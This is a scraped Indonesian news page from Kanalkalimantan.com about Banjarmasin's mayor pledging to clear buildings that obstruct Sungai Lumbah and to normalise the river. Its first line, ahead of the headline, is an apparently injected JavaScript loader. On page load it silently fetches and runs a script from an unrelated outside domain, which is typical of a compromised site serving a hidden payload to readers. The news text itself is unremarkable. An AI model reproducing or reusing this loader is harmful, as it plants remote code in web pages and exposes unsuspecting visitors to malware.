(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai


KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di atas sungai.

Hal itu disampaikan usai meninjau kegiatan aksi kebersihan di Sungai Lumbah, Jalan Mandastana, RT 32, Kelurahan Kuripan, Kecamatan Banjarmasin Timur, Jumat (23/1/2026) pagi.

Menurut Wali Kota Yamin, bangunan di atas sungai menjadi penyebab penyumbatan beberapa titik aliran sungai sehingga perlu ada penertiban sesuai aturan yang berlaku.

Baca juga: Pengelolaan UNESCO Global Geopark Meratus Diperkuat

“Banyak bangunan yang berdiri di atas sungai, nanti akan kita sosialisasikan terlebih dahulu sebelum dilakukan penertiban sesuai SOP,” ujarnya.

Pemimpin Kota Seribu Sungai itu telah menginstruksikan Satuan Polisi Pamong Praja (Satpol PP) untuk meminta masyarakat lebih memperhatikan dampak pendirian bangunan di atas sungai.

Baginya, kesadaran pemilik rumah penting supaya mereka paham bahwa bangunan yang melebar ke sungai bisa membuat genangan air di lingkungan sekitar.

Baca juga: MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

“Saya juga melihat saluran drainase yang tertutup, ini perlu dilakukan pembersihan. Pemerintah Kota Banjarmasin mengucapkan terima kasih kepada warga Mandastana RT 32 yang sudah ikut membersihkan,” ungkapnya.

Partisipasi masyarakat semacam ini amat berguna dalam menjaga sungai sebagai sumber kehidupan generasi di masa depan.

Di sisi lain, Kepala Bidang Drainase Dinas PUPR Kota Banjarmasin, Harwita mengakui bahwa bangunan dan tanaman di Sungai Lumbah menghambat aliran air sampai terbentuk genangan.

Baca juga: Mereka Menanti Skatepark di Kota Seribu Sungai

Sungai Lumbah dengan panjang sekitar 391 meter ini terhubung dengan Sungai Gardu di Kelurahan Sungai Lulut dengan panjang kurang lebih 400 meter.

Sungai di Kelurahan Kuripan tersebut akan segera dinormalisasi memakai alat berat eksavator agar sungai kembali terbuka.

“Di beberapa titik memang diperlukan gorong-gorong karena bangunan menghambat aliran sungai, nanti akan kita beri surat dan gorong-gorongnya juga akan kita bangunkan,” tutup Harwita. (Kanalkalimantan.com/fahmi)

Reporter: fahmi
Editor: bie


Muhammad Andi

Recent Posts

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

4 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

5 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

11 jam ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

11 jam ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

23 jam ago

Pemkab Kapuas Percepat Pembangunan Infrastruktur di Desa Kalumpang

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas terus mendorong pemerataan pembangunan ke wilayah perdesaan. Pada… Read More

1 hari ago

This website uses cookies.